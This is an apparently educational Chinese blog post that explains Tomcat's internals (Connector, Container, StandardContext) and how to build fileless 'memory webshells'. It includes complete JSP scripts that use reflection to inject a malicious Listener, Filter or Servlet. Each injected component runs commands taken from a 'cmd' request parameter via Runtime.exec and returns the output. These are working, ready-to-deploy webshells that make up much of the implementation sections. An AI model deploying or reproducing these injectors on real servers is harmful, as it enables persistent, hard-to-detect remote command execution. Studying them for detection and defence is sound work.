
前言
环境:Tomcat8.5.73 + jdk1.8
前置知识
java web三大组件
处理请求时,处理顺序如下
请求 → Listener → Filter → Servlet
Tomcat相关
搬运自Y4tacker大佬 JavaSec/Tomcat介绍.md at main · Y4tacker/JavaSec (github.com)
主要功能
Tomcat 作为Web服务器,实现了两个核心功能
- Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
- Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求
以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)

- Server 代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。
- Service 服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container
- Connector 称为连接器,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端,接收不同的连接协议。
- Container 称为容器,负责处理用户的 servlet 请求
Connector连接器
连接器主要完成以下三个核心功能:
- socket 通信,也就是网络编程
- 解析处理应用层协议,封装成一个 Request 对象
- 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

Endpoint与Processor有一个组合名称为ProtocolHandler
Container容器
Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。

四种容器的作用:
- Engine 表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host。实现类为
org.apache.catalina.core.StandardEngine
- Host 代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context。实现类为
org.apache.catalina.core.StandardHost
- Context 表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper。实现类为
org.apache.catalina.core.StandardContext
- Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等。实现类为
org.apache.catalina.core.StandardWrapper

从HTTP请求到Servlet
Tomcat使用Mapper组件来将用户请求的URL定位到某个Servlet。Mapper组件里保存了WEB应用的配置信息,也就是容器组件与访问路径的映射关系。比如Host容器里配置的域名、Context容器里的WEB应用路径以及Wrapper容器里Servlet映射的路径。
Mapper组件通过解析请求URL里的域名和路径,再到自己保存的Map里去找,就能定位到一个Servlet。 最终一个请求URL只会定位到一个Wrapper容器,也就是一个Servlet 。
三种Context
Tomcat中有如下三种Context: ServletContext、StandardContext、ApplicationContext。下面这张图很好的展现了这三个Context的结构。context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

ServerletContext(是一个接口)
通过 request.getServletContext() 获取到的是ApplicationContextFacade对象,它是对ServerletContext接口的实现类,该类提供了Web应用所有Servlet的视图,可以对某个Web应用的各种资源和功能进行访问。
WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext。它代表当前Web应用,并且它被所有客户端共享。
ApplicationContext
ApplicationContext也是对ServerletContext接口的实现类,由上图可知该类被包装在ApplicationContextFacade类中。
StandardContext
org.apache.catalina.Context接口的默认实现为StandardContext,而Context在Tomcat中代表一个web应用。ApplicationContext所实现的方法其实都是调用的StandardContext中的方法,StandardContext是Tomcat中真正起作用的Context
Tomcat中Context对象的获取
作为初学者,在借鉴文章时对这里进行思考可能利用的方式,对于为什么获取Context的对象,根据上面的图,可能是反射获取Context对象之后添加新的路由,编写对应的servlet,更改相关配置,然后到达目的
对于Tomcat,一个Web应用中Context组件为org.apache.catalina.core.StandardContext的对象,在动态注册Servlet组件内存马时,获取StandContext对象成为关键点,通过哪种方式可以获取该对象,有以下几种方式
有request对象时
web应用中request.getServletContext是ApplicationContextFacade对象。该对象对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以当request存在的时候我们可以通过反射来获取StandardContext对象
ServletContext servletContext = request.getServletContext(); Field fieldApplicationContext = servletContext.getClass().getDeclaredField("context"); fieldApplicationContext.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) fieldApplicationContext.get(servletContext);
Field fieldStandardContext = applicationContext.getClass().getDeclaredField("context"); fieldStandardContext.setAccessible(true); StandardContext standardContext = (StandardContext) fieldStandardContext.get(applicationContext);
|
看到还存在一种方式
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();
|
实际 Tomcat 在使用 request 的时候不是用的 Request 这个类,而是 RequestFacade,来看一下

而在Request中,存在方法 getContext,获取context

无request对象时(坑)
存在以下几种方式
- currentThread中的ContextClassLoader中获取
- ThreadLocal中获取
- 从MBean中获取
实现方式先挖坑
JAVA内存马的“一生” - 先知社区 (aliyun.com)
Tomcat 架构与Context分析 | MYZXCG
Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区 (aliyun.com)
内存马的分类
大致分为三类
- 基于动态添加Servlet组件的内存马
- 基于动态添加框架组件的内存马
- 基于 Javaagent 和 Javassist 技术的内存马
将按照顺序进行学习与实现
内存马的实现
动态注册Servlet三大件
这部分就是对于 Listener、Filter、servlet 进行对应的实现
Listener
Listener即为监听器,用来监听对象或流程的创建与销毁,分为三类
- ServletContext,服务器启动与终止时触发
- Session,与Session操作有关
- Request,访问服务时触发

其中Request对象的监听器适合做内存马。
对于listener的引入,需要实现两种接口LifecycleListener和原生EvenListener
实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
所以来看另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。
idea中 ctrl+H 查看实现接口的类

其中就有ServletRequestListener,来看一下这个接口,提供了两个方法,用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法,这样可以在访问请求时,实现恶意代码的触发

简单监听器的实现
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { System.out.println("requestDestroyed"); }
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println("requestInitialized"); } }
|
添加web.xml
<listener> <listener-class>TestListener</listener-class> </listener>
|
任意访问,发现确实是执行了

流程分析
一个断点下到 requestInitialized,看下调用链
requestInitialized:12, TestListener fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core) invoke:121, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|

在StandardContext#fireRequestInitEvent()中通过 调用本类中的 getApplicationEventListeners()获取到 listener,最后调用requestInitialized(event),传入的event就是一些request的信息


跟进 StandardContext#getApplicationEventListeners(),返回了 applicationEventListenersList

搜一下,不难发现 StandardContext#addApplicationEventListener() 添加了listener

那内存马实现方式就有思路了,通过反射调用 StandardContext#addApplicationEventListener() 添加我们编写的恶意listener
实现
test.jsp
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <% class MyListener implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req =(HttpServletRequest) sre.getServletRequest(); if(req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out);
} catch (IOException e) { } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } } }
@Override public void requestInitialized(ServletRequestEvent sre) {
} }
%>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); MyListener myListener = new MyListener(); stdcontext.addApplicationEventListener(myListener); %>
|

Filter
filter就是在请求到达servlet前进行一次预处理,访问资源完成后,再次返回到filter中,可以实现身份权限验证,日志记录
简单过滤器的实现
TestFilter
import javax.servlet.*; import java.io.IOException;
public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("[+]filter init"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("before filter"); chain.doFilter(request,response); System.out.println("after filter"); }
@Override public void destroy() { System.out.println("[+]filter destroy"); } }
|
添加web.xml
<filter> <filter-name>TestFilter</filter-name> <filter-class>TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|

流程分析
一个断点下到 chain.doFilter(request,response);
doFilter:13, TestFilter internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:196, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:542, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|

ApplicationFilterChain#internalDoFilter(),从当前的 filters数组中取出一个filterConfig类型的对象,然后调用getFilter()获取filter后调用doFilter(),也就是我们编写的doFilter方法

看一下filters是怎么定义的,通过 创建了 ApplicationFilterConfig 对象来定义的对象数组,这里的值是怎么改变的后面在说

向上 ApplicationFilterChain#doFilter() 调用了 internalDoFilter()

向上,在 StandardWrapperValve#invoke()中,filterChain中存放了两个 ApplicationFilterConfig 类型的filter,第一个就是自己创建的filter

跟一下 filterChain 的定义,在 StandardWrapperValve#invoke中通过 createFilterChain() 获得了一个 ApplicationFilterChain 的对象

那么 createFilterChain() 需要重点关注,看看它是怎么把我们编写的TestFiler添加到ApplicationFilterConfig类型的filters变量中,跟进 ApplicationFilterFactory#createFilterChain,首先获取Request,然后通过getFilterChain()获取filterChain

往下通过 StandardContext 对象的findFilterMaps()获取filterMaps[]

通过遍历 filterMaps[],找到 StandardContext 对象中的FilterConfig,然后通过filterChain.addFilter把FilterConfig加入了filterChain中

跟进 ApplicationFilterChain#addFilter(),将传入的 filterConfig 添加到ApplicationFilterConfig中,这里就对应上面改变filters的值的地方

这里需要关注三个变量
- filterConfigs:存放 filterDef(见 filterDefs) **,filter 实例对象**及其他信息
- filterDefs:存放过滤器名、过滤器全限定名及其他信息
- filterMaps:存放过滤器名字(FilterName )及对应作用 url(URLPattern)
存放在StandardContext对象context中

联系到Filter型内存马,肯定需要找到能修改StandardContext对象中这三个变量的值的地方。既然三个变量从StandardContext中获得,我们去查看有什么方法进行修改
1)filterMaps
找到了两个方法 StandardContext#addFilterMap() 和 StandardContext#addFilterMapBefore()

2)filterConfigs
找到了StandardContext#filterStart(),根据查找的资料这个方法主要功能为:根据filterDefs初始化 filterConfigs,从代码可知先将filterDefs从HashMap类型转为集合类型,然后获取一个迭代器,通过while进行遍历,获取name,通过一个ApplicationFilterConfig类型的对象filterConfig,获得filter的实例,最后通过put,添加到filterConfigs

3)filterDefs
从上面可以看出来,最原始的数据都是从filterDefs中获得的,搜索它的值从什么地方来找到了StandardContext#addFilterDef()
tomcat启动时,去解析web.xml时会调用这里所以我们去简单跟进一下web.xml的启动过程。
ContextConfig#configureStart()调用ContextConfig#webConfig(),使用webxml解析器来解析web.xml然后存放到webxml变量中

又调用ContextConfig#configureContext()获取web.xml中的filter,进行遍历然后调用StandardContext#addFilterDef()

StandardContext#addFilterDef(),传入name 和 filterDef

实现
理解了过程,就可以通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.lang.reflect.Constructor" %><%-- Created by IntelliJ IDEA. User: cys Date: 2022/5/6 Time: 18:30 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Filter</title> </head> <body> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();
Field Configs = stdcontext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(stdcontext);
final String name = "Y0ng"; if(filterConfigs.get(name)==null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); return; } chain.doFilter(request, response); }
@Override public void destroy() {
} };
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); stdcontext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/Y0ng"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); stdcontext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(stdcontext, filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %> </body> </html>
|


Servlet
简单的servlet的实现
import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter;
public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); out.println("<h1>Y0ng</h1>"); } }
|
添加web.xml
<servlet> <servlet-name>test</servlet-name> <servlet-class>TestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>test</servlet-name> <url-pattern>/servlet</url-pattern> </servlet-mapping>
|
或者
@WebServlet(value = {"/test"})
|

流程分析
tomcat启动加载Servlet源码浅析_weixin_34100227的博客-CSDN博客_servlet加载
所以加载engine这个Container,会递归加载子Container。从engine.start() -> host.start() -> context.start(),context的实现类StandardContext中有一个startInternal方法,它触发了一个init的时候设置的监听器ContextConfig,这个监听器将进行Context的相关配置处理
StandardContext#startInternal(),会触发 ContextConfig#lifecycleEvent(LifecycleEvent event)

在ContextConfig中触发的方法为 ContextConfig#lifecycleEvent(LifecycleEvent event),然后委托给方法 ContextConfig#configureStart() 进行处理

ContextConfig#configureStart()中有一个核心方法为ContextConfig#webConfig()

对web.xml进行解析,放入webXml中

然后调用 ContextConfig#configureContext(webXml)

看看其中对servlet的相关操作,先获取所有的servlet,通过StandardContext#createWrapper()创建一个wrapper

接下来是对这个wrapper进行包装相关servlet的信息

跟进下这个StandardContext#addChild(wrapper),判断name是不是jsp,然后调用super.addChild,即ContainerBase#addChild()

发现又调用了ContainerBase#addChildInternal()

将child装入到hashmap类型的children中

调用了LifecycleBase#start()启动组件的生命周期:深入理解Tomcat(二)Lifecycle

返回到 StandardContext#startInternal()中 loadOnStartup(this.findChildren()) 开始加载servlet

ContainerBase#findChildren(),将上面的children(所有的wrapper)放入到容器中,然后返回

StandardContext#loadOnStartup(),可以看出遍历所有的wrapper,通过getLoadOnStartup()获得一个数(类似状态码),如果大于等于0,将其添加到map中

跟进standardWrapper#getLoadOnStartup(),默认loadOnStartup = -1

在servlet的配置当中,**<load-on-startup>1</load-on-startup>**的含义是:标记容器是否在启动的时候就加载这个servlet
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高
由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载
然后就是遍历符合条件的wrapper,通过load()进行加载


创建了servlet实例

实现
了解了过程,攻击思路就是:children中存放了很多个child,对应着一个个的wrapper,最后创建了servlet的实例,所以我们需要一个恶意的servlet,并对其进行包装成一个恶意的wrapper,装入到children中,对应的方法就是StandardContext#addChild。
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %><%-- Created by IntelliJ IDEA. User: cys Date: 2022/5/8 Time: 16:59 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%
HttpServlet httpServlet = new HttpServlet(){ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); return; }
} }; Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); Wrapper wrapper = stdcontext.createWrapper(); String name = "Y0ng"; wrapper.setName(name); wrapper.setServlet(httpServlet); wrapper.setServletClass(httpServlet.getClass().getName());
stdcontext.addChild(wrapper); stdcontext.addServletMappingDecoded("/Y0ng", name); out.print("Inject Success !"); %>
</body> </html>
|

